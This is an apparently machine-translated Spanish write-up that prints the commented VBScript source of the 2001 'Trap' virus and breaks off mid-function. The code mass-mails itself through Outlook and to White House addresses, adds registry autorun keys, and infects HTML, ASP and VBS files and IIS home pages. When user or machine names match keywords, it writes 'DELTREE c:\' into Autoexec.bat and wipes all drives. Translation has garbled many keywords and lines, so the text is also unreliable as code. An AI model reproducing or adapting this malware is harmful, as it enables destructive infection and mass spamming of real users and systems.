La siguiente es una divulgación detallada del proceso de aparición y el código fuente de la "trampa".
El virus tiene sus propias capacidades de cifrado (utilizando tecnología de codificación JavaScript), lo que hace imposible que los usuarios comunes vean el código original del virus, pero no hay cifrado en el archivo VBS infectado, por lo que como entrada Punto, puedo obtener fácilmente todo el código fuente.
'@ ¡gracias! utiliza a otra persona para deshacerte de un enemigo, trampa _2001
'Esta frase puede significar "matar con un cuchillo prestado", seguida del nombre. del virus" Trap"
en error reanudar siguiente
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) 'Lista de correo de personal relacionado con la Casa Blanca
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2 ) = "first. lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'Asunto del envío del correo electrónico
title(0) = "¡Gracias por ayudarme!"
title(1) = "La policía está investigando el robo"
title(2) = "una solicitud para un job"
title(3) = "Los aspectos de un proceso de solicitud pertinentes a OSI"
title(4) = "Qué clima tan agradable. ¿Por qué no salir a caminar? ?"
title(5) = "Estos países han pasado por demasiadas guerras"
title(6) = "Hemos fijado el 17 de abril para la boda"
title(7) = "El viento amainó y el mar volvió a la calma."
title(8) = "¡la sesión está abierta!"
title(9 ) = ""
defpath = "C:\Readme.html" ' Archivo de virus
MAX_SIZE = 100000 ' Define el tamaño máximo del archivo infectado p>
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
principal
sub main() 'Programa principal
en caso de error, reanudar siguiente
dim w_s
w_s= WScript.ScriptFullName 'Obtiene la ruta del archivo del virus
si w_s = "" entonces
Err.Clear
set fso = CreateObject
("Scripting.FileSystemObject") 'Crear objeto de sistema de archivos
si getErr entonces 'Identificar estado del virus
Aleatorizar 'Inicializar semilla aleatoria
ra = int(rnd () * 7) 'Generar números aleatorios
doucment.write title(ra) 'Escribir contenido aleatorio
ExecuteMail 'Ejecutar el programa en el estado de correo
else
ExecutePage 'Ejecuta el programa en el estado de la página WEB
end if
else
ExecuteVbs 'Ejecuta el programa en el VBS estado del archivo
end if
end sub
La función getErr() ignora el error
si Err.number<>0 entonces p>
getErr=true
Err.Clear
else
getErr=false
finalizar si
función final
sub ExecutePage() 'Estado del programa en la página WEB
en caso de error, reanudar siguiente
dim Html_Str, adi, wdf, wdf2,wdf3, wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") 'Obtener código VBScript
Js_Str = GetJavaScript() 'Obtener código JavaScript
Code_Str = MakeScript (encrypt (Vbs_str), true) 'Obtener el código script cifrado
Html_Str = MakeHtml(encrypt(Vbs_str), true) 'Obtener el código HTML completo cifrado
Gf p >
'Definir la ruta del archivo de virus
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll" ' Tenga en cuenta que los archivos wdf y wdf3 son muy confusos
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system. dll"
'Crear archivo de virus
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile ( wdf2, 2, verdadero)
vf.write Html_Str
vf.close
set vf = fso.OpenTe
xtFile (wdf3, 2, true)
vf.write Code_Str
vf.close
Modifica el registro para que el archivo de virus se ejecute automáticamente cada vez que se la computadora inicia
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail 'Ejecuta el programa para enviar correo
Hackpage 'Ejecuta el programa para infectar el sitio web
establece adi = fso.Drives
para cada x en adi
si x.DrivesType = 2 o x.DrivesType = 3 entonces 'Recorre todos los discos duros locales y los discos duros compartidos en red
llama a SearchHTML(x & "\") ' Ejecute el programa de infección de archivos
p>finalizar si
siguiente
si TestUser y luego 'Verificar usuario
Eliminar a realizar la operación de eliminación de archivos p>
else
else
p>
if Mes(Fecha) y Día(Fecha) = "75" entonces 'Si la hora del sistema es el 5 de julio
set vf = fso.OpenTextFile(w2 & "75.htm" , 2,true) 'Crear archivo de ataque al sistema
vf.write MakeScript ("window.navigate ('c: /con/con');", false)
vf. close
Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" ' Autostart
window.navigate "c:/con/con" 'La pantalla azul inmediata, usando el ERROR de Windows, puede causar un bloqueo del 100% del sistema Win9X (es decir, una pantalla azul irrecuperable) p>
else 'Si no es 7.5
si fso.FileExists(w2 & "75 .htm") entonces fso.DeleteFile w2 & "75.htm" ' Eliminar 75.htm p>
end if
end if
if fso.FileExists( defpath) luego fso.DeleteFile defpath 'Eliminar archivo de virus C:\Readme.html
end sub
sub ExecuteMail() 'Programa ejecutado cuando el estado del correo
en error se reanuda a continuación
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") 'Crear objeto TypeLib
con Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write
() 'Crear archivo C:\Readme.html
finalizar con
window.open defpath, "trap", "ancho=1 alto=1 barra de menú=sin barras de desplazamiento=sin barra de herramientas =no" Abrir una ventana oculta
end sub
sub ExecuteVbs() 'De manera similar, si el archivo de virus es VBS, el programa se ejecutará
en error reanudar siguiente
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject( "WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
establecer vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
establezca adi = fso.Drives
para cada x en adi
si x.DrivesType = 2 o x.DrivesType = 3 entonces
llamar a SearchHTML(x & "\")
finalizar si
siguiente
si TestUser y luego Killhe
end sub
sub Gf() 'Obtener la ruta del sistema
w1=fso.GetSpecialFolder(0) & "\"
w2=fso.GetSpecialFolder ( 1) & "\"
end sub
función Readreg(key_str) 'Leer el registro
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nada
finalizar función
función Writereg(key_str, Newvalue, vtype ) 'Escribe el registro
set tmps = CreateObject("WScript.Shell")
if vtype="" entonces
tmps.RegWrite key_str, Newvalue
p>
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
función final
función MakeHtml(Sbuffer, iHTML) 'Código completo para crear archivo HTML
dim ra
Aleatorio
Aleatorizar
p>
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & título(ra) & "" & "TITLE><" & "/HEAD>" & _
"
"<" & "/BOAD><" & "/HTML>"
función final
función MakeScript(Codestr, iHTML) 'Este programa es un virus que se realiza solo El proceso de cifrado es más complicado y no se describirá nuevamente
si es iHTML entonces
dim DocuWrite
DocuWrite = "document.write('<' +" & "' SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\ n'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34 ) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword); " & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "" & "SCRIPT>"
else);
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "" & "SCRIPT>"
finalizar si
finalizar función
función GetScriptCode(Languages) ' Obtiene los códigos de diferentes lenguajes de escritura
dim soj
para cada soj en document.scripts
si
LCase(soj.Language) = Idiomas entonces
si Idiomas = "javascript" entonces
si len(soj.Text)>200 entonces
else
else
p>
GetScriptCode = soj.Text
salir de la función
finalizar si
else
GetScriptCode = soj.Text
p>
función de salida
finalizar si
finalizar si
siguiente
función final
función GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
función final
función TestUser() 'Detectar proceso de usuario
en caso de error, reanudar siguiente
teclas atenuadas(6), i, tmpStr, Wnet
'Palabras clave de usuario específicas
keys(0) = "casa blanca"
keys(1) = "agencia central de inteligencia"
keys(2) = " bush"
keys(3) = "bolsa de valores americana"
keys(2) = "bush"
keys(3) = "bolsa de valores americana "
p>
keys(4) = "director ejecutivo"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject ("WScript.Network") 'Crear objeto de red
' Los siguientes tres bucles tienen la misma función, que es verificar si el dominio del usuario, el nombre de usuario y el nombre de la computadora contiene las cinco palabras clave anteriores. Una vez incluido, el programa devolverá la condición "verdadera", eliminando así frenéticamente los archivos de estos usuarios.
tmpStr = LCase(Wnet.UserName) '
para i=0 a 4
si InStr(tmpStr, claves(i)) > 0 entonces
TestUser=true
salir de la función
finalizar si
siguiente
tmpStr = LCase(Wnet.ComputerName)
para i=0 a 4
si InStr(tmpStr, claves(i)) > 0 entonces
TestUser=true
función de salida
finalizar si
siguiente
tmpStr = LCase(Wnet.UserDomain)
para i=0 a 4
si InStr(tmpStr, teclas(i)) >0 entonces
TestUser=true
salir de la función
finalizar si
siguiente
Establecer Wnet = Nada
función final
función SendMail() 'Proceso de envío de archivo
en caso de error, reanudar siguiente
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'Primero envíe un archivo cifrado que pueda infectar directamente la libreta de direcciones de OutLook. código de virus y archivos adjuntos HTML
El tema es aleatorio, este proceso es similar a "Happy Hour", por lo que no se describirá nuevamente
Aleatorio
en =fso.GetSpecialFolder(1) & "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
para j = 1 a wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW y eins)
si (wreg="") entonces wreg = 1
Eaec = eins.AddressEntries.Count
si (Eaec > Int(wreg)) entonces
para x = 1 a Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
if (areg = "") luego
establecer fm = wab.CreateItem(0)
con fm
ra = int(rnd() * 7)
.Destinatarios.Añadir arrsm
.Asunto = título(ra)
.Cuerpo = título(ra)
.Adjuntos en
.Enviar
Escribir
reg HCUW & arrsm, 1, "REG_DWORD"
terminar con
terminar si
siguiente
terminar si
Writereg HCUW & eins, Eaec, ""
next
'Lo siguiente es un envío incondicional de una gran cantidad de correos electrónicos de virus a usuarios específicos. Desde este punto, podemos. Veamos que el autor del virus tiene una profunda preocupación por el gobierno de Estados Unidos de extrema insatisfacción.
para j = 1 a smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
con fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Enviar
finalizar con
siguiente
set Oa = Nada
window.setTimeout "SendMail()", 5000 'Repetir envío cada 5 segundos
finalizar función
sub SearchHTML(Path) 'El proceso de búsqueda de archivos infecciosos
p>en caso de error, reanudar siguiente
dim pfo, psfo, pf, ps, pfi, text
if instr(Path, fso.GetSpecialFolder(2)) > 0 luego salga de sub
si Ruta <> "E:\" luego salga de sub
set pfo = fso.GetFolder(Path)
set psfo = pfo. Subcarpetas
para cada ps en psfo
SearchHTML(ps.Path)
establezca pf = ps.Files
para cada pfi en pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 o text = "plg" o text = "asp " luego 'Compruebe si la extensión del archivo es htm, html, plg. Si es así, compruebe si está infectado. Si no, inserte el código del virus cifrado en el encabezado del archivo. De esta manera, una vez que se ejecute el archivo, el El código de virus se ejecutará y no afectará la ejecución normal del archivo original.
if Code_Str<>"" entonces AddHead pfi.Path, pfi, 1
elseif ext= "vbs" luego 'Si es un archivo vbs, inserte un código de virus no cifrado p>
AddHead pfi.Path,pfi, 2
end if
siguiente
siguiente
end sub
sub Killhe() 'Eliminación completa de archivos
en caso de error, reanudar a continuación
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_
"DELTREE c:\" 'Inserte el comando para eliminar la unidad C en Autoexec .bat, todo el disco duro se eliminará la próxima vez que encienda la computadora, sin ningún aviso
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko .Escribe vbcrlf y codeText
ko.Close
'Luego elimina inmediatamente todos los archivos en otros discos
set adi = fso. Unidades
para cada x en adi
si x.DrivesType = 2 entonces
establezca kd = fso.GetFolder(x & "\")
establecer kfs = kd.Files
para cada kf en kfs
kf.Delete
siguiente
establecer ks = kd.SubFolders
para cada kh en ks
kh.Delete
siguiente
fin si
siguiente
do while 1 'Dejar que el sistema se bloquee inmediatamente
window.open ""
bucle
end sub
sub Hackpage() ' this El proceso consiste en atacar directamente la página de inicio del servidor Mircosoft IIS
dim fi
H = "C:\InetPut\wwwroot"
si fso.FolderExists(H) entonces
'Determine si es un sitio web. Si es así, inserte el código de virus cifrado en el encabezado del archivo, infectando así directamente a los usuarios que navegan por el sitio web
.set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if p>
end sub
sub AddHead(Path, f, t) 'Este proceso es el proceso específico de archivos de infección de virus
en caso de error, se reanuda a continuación
dim tso, buffer,sr
si f.size > MAX_SIZE entonces salga de sub 'Infectar archivos de menos de 100K de tamaño
set tso = fso.OpenTex
tFile(Ruta, 1, verdadero)
búfer = tso.ReadAll()
tso.close
si (t = 1) entonces
si UCase(Left(LTrim(buffer), 7)) <> "